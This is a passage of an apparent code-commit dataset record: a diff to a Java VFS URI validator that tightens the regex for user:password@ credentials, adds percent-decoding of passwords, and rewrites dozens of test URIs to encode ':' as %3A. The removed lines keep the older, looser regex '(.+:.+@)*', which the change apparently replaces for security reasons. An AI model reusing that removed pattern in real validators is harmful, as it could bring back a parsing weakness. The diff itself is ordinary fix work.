(v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1209,7 +1231,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp:/ /user:pass:@machine\";\n+\t\ts = \"sftp:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1221,7 +1243,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp://user:pass:@:123/a\";\n+\t\ts = \"sftp://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1233,7 +1255,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp://user:pass:@machine:a/the_file\";\n+\t\ts = \"sftp://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1329,7 +1351,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SFTP://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"SFTP://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1341,7 +1363,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"SFTP://user:pass:@machine/the_dir/\";\n+\t\ts = \"SFTP://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1498,7 +1520,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"http://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1510,7 +1532,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"http://user:pass:@machine/the_dir/\";\n+\t\ts = \"http://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1522,7 +1544,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"http: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"http: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1534,7 +1556,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http:/ /user:pass:@machine/the_file\";\n+\t\ts = \"http:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1546,7 +1568,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http:/ /user:pass:@machine\";\n+\t\ts = \"http:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1558,7 +1580,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http://user:pass:@:123/a\";\n+\t\ts = \"http://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1570,7 +1592,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http://user:pass:@machine:a/the_file\";\n+\t\ts = \"http://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1666,7 +1688,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"HTTP://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1678,7 +1700,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"HTTP://user:pass:@machine/the_dir/\";\n+\t\ts = \"HTTP://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1690,7 +1712,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"HTTP: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"HTTP: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1702,7 +1724,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP:/ /user:pass:@machine/the_file\";\n+\t\ts = \"HTTP:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1714,7 +1736,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP:/ /user:pass:@machine\";\n+\t\ts = \"HTTP:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1726,7 +1748,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP://user:pass:@:123/a\";\n+\t\ts = \"HTTP://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1738,7 +1760,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP://user:pass:@machine:a/the_file\";\n+\t\ts = \"HTTP://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1835,7 +1857,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"https://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1847,7 +1869,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"https://user:pass:@machine/the_dir/\";\n+\t\ts = \"https://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1859,7 +1881,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"https: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"https: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1871,7 +1893,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https:/ /user:pass:@machine/the_file\";\n+\t\ts = \"https:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1883,7 +1905,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https:/ /user:pass:@machine\";\n+\t\ts = \"https:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1895,7 +1917,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https://user:pass:@:123/a\";\n+\t\ts = \"https://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1907,7 +1929,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https://user:pass:@machine:a/the_file\";\n+\t\ts = \"https://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2003,7 +2025,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"HTTPS://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2015,7 +2037,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"HTTPS://user:pass:@machine/the_dir/\";\n+\t\ts = \"HTTPS://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2027,7 +2049,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"HTTPS: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"HTTPS: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2039,7 +2061,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS:/ /user:pass:@machine/the_file\";\n+\t\ts = \"HTTPS:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2051,7 +2073,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS:/ /user:pass:@machine\";\n+\t\ts = \"HTTPS:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2063,7 +2085,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS://user:pass:@:123/a\";\n+\t\ts = \"HTTPS://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2075,7 +2097,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS://user:pass:@machine:a/the_file\";\n+\t\ts = \"HTTPS://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2172,7 +2194,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"webdav://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2184,13 +2206,13 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"webdav://user:pass:@machine/the_dir/\";\n+\t\ts = \"webdav://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n \t\t}\n \n-\t\ts = \"webdav: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"webdav: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2202,7 +2224,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav:/ /user:pass:@machine/the_file\";\n+\t\ts = \"webdav:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2214,7 +2236,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav:/ /user:pass:@machine\";\n+\t\ts = \"webdav:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2226,7 +2248,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav://user:pass:@:123/a\";\n+\t\ts = \"webdav://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2238,7 +2260,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav://user:pass:@machine:a/the_file\";\n+\t\ts = \"webdav://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2334,7 +2356,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"WEBDAV://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2346,7 +2368,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"WEBDAV://user:pass:@machine/the_dir/\";\n+\t\ts = \"WEBDAV://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2358,7 +2380,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"WEBDAV: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"WEBDAV: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2370,7 +2392,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV:/ /user:pass:@machine/the_file\";\n+\t\ts = \"WEBDAV:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2382,7 +2404,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV:/ /user:pass:@machine\";\n+\t\ts = \"WEBDAV:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2394,7 +2416,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV://user:pass:@:123/a\";\n+\t\ts = \"WEBDAV://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2406,7 +2428,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV://user:pass:@machine:a/the_file\";\n+\t\ts = \"WEBDAV://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2503,7 +2525,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"smb://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2515,7 +2537,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"smb://user:pass:@machine/the_dir/\";\n+\t\ts = \"smb://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2527,7 +2549,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"smb: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"smb: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2539,7 +2561,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb:/ /user:pass:@machine/the_file\";\n+\t\ts = \"smb:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2551,7 +2573,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb:/ /user:pass:@machine\";\n+\t\ts = \"smb:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2563,7 +2585,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb://user:pass:@:123/a\";\n+\t\ts = \"smb://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2575,7 +2597,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb://user:pass:@machine:a/the_file\";\n+\t\ts = \"smb://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2671,7 +2693,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"SMB://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2683,7 +2705,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"SMB://user:pass:@machine/the_dir/\";\n+\t\ts = \"SMB://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2695,7 +2717,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"SMB: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"SMB: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2707,7 +2729,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB:/ /user:pass:@machine/the_file\";\n+\t\ts = \"SMB:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2719,7 +2741,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB:/ /user:pass:@machine\";\n+\t\ts = \"SMB:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2731,7 +2753,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB://user:pass:@:123/a\";\n+\t\ts = \"SMB://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -2743,7 +2765,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB://user:pass:@machine:a/the_file\";\n+\t\ts = \"SMB://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);", "sections": [{"section": "@@ -2,6 +2,8 @@\n * VFS URIs validator\n *\n * Copyright (C) 2008 Stan Love\n+ * Copyright (C) 2020 University of Waikato, Hamilton, NZ\n+ * Copyright (C) 2020 Yeting Li\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n", "related": false}, {"section": "@@ -233,11 +235,11 @@ else if ((drive != null) && (file == null)) {\n \t\t// \"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.*?:.*?@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/.*)\");\n \t\t//\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.+:.+@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/.*)\");\n \t\tPattern p_ftp2 = Pattern\n-\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.+:.+@)*([^:]+?/*)([ \t]*:[0-9]+)*([ \t]*:)*(/.*)\");\n+\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://([^:@]+:[^:@]+@)*([^:]+?/*)([ ]*:[0-9]+)*([ ]*:)*(/.*)\");\n \t\tMatcher m_ftp2 = p_ftp2.matcher(_uri);\n \n \t\tPattern p_ftp3 = Pattern\n-\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.+:.+@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/*?.*)\");\n+\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://([^:@]+:[^:@]+@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/*?.*)\");\n \t\tMatcher m_ftp3 = p_ftp3.matcher(_uri);\n \n \t\tif (m_ftp2.matches()) {\n", "related": false}, {"section": "@@ -344,6 +346,26 @@ else if ((drive != null) && (file == null)) {\n \t\t\tif (local_pass.startsWith(\":\")) {\n \t\t\t\tlocal_pass = local_pass.substring(1);\n \t\t\t}\n+\t\t\t// decode specials chars (URL encoded %XY)\n+\t\t\tif (local_pass.contains(\"%\")) {\n+\t\t\t\tString tmp_local_pass = local_pass;\n+\t\t\t\tStringBuilder new_local_pass = new StringBuilder();\n+\t\t\t\twhile (tmp_local_pass.contains(\"%\")) {\n+\t\t\t\t\tnew_local_pass.append(tmp_local_pass.substring(0, tmp_local_pass.indexOf('%')));\n+\t\t\t\t\ttmp_local_pass = tmp_local_pass.substring(tmp_local_pass.indexOf('%'));\n+\t\t\t\t\tif (tmp_local_pass.length() >= 3) {\n+\t\t\t\t\t\tchar c = (char) Integer.parseInt(tmp_local_pass.substring(1, 3), 16);\n+\t\t\t\t\t\tnew_local_pass.append(c);\n+\t\t\t\t\t\ttmp_local_pass = tmp_local_pass.substring(3);\n+\t\t\t\t\t}\n+\t\t\t\t\telse {\n+\t\t\t\t\t\tbreak;\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t\tif (!tmp_local_pass.isEmpty())\n+\t\t\t\t\tnew_local_pass.append(tmp_local_pass);\n+\t\t\t\tlocal_pass = new_local_pass.toString();\n+\t\t\t}\n \t\t}\n \t\tlocal_hostname = hostname;\n \t\tlocal_port = port;\n", "related": false}, {"section": "@@ -823,26 +845,26 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"ftp://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"ftp://user:pass%3Aa@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n \t\t}\n \t\tv.assertEquals(v.getProtocol(), \"ftp\");\n \t\tv.assertEquals(v.getUser(), \"user\");\n-\t\tv.assertEquals(v.getPassword(), \"pass:\");\n+\t\tv.assertEquals(v.getPassword(), \"pass:a\");\n \t\tv.assertEquals(v.getHostname(), \"machine\");\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"ftp://user:pass:@machine/the_dir/\";\n+\t\ts = \"ftp://user:pass%3A%3a@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n \t\t}\n \t\tv.assertEquals(v.getProtocol(), \"ftp\");\n \t\tv.assertEquals(v.getUser(), \"user\");\n-\t\tv.assertEquals(v.getPassword(), \"pass:\");\n+\t\tv.assertEquals(v.getPassword(), \"pass::\");\n \t\tv.assertEquals(v.getHostname(), \"machine\");\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n", "related": false}, {"section": "@@ -992,7 +1014,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"FTP://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"FTP://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1004,7 +1026,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"FTP://user:pass:@machine/the_dir/\";\n+\t\ts = \"FTP://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1161,7 +1183,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"sftp://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1173,7 +1195,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"sftp://user:pass:@machine/the_dir/\";\n+\t\ts = \"sftp://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1185,7 +1207,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"sftp: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"sftp: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1197,7 +1219,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp:/ /user:pass:@machine/the_file\";\n+\t\ts = \"sftp:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1209,7 +1231,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp:/ /user:pass:@machine\";\n+\t\ts = \"sftp:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1221,7 +1243,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp://user:pass:@:123/a\";\n+\t\ts = \"sftp://user:pass%3A@:123/a\";\n \n \t\tif 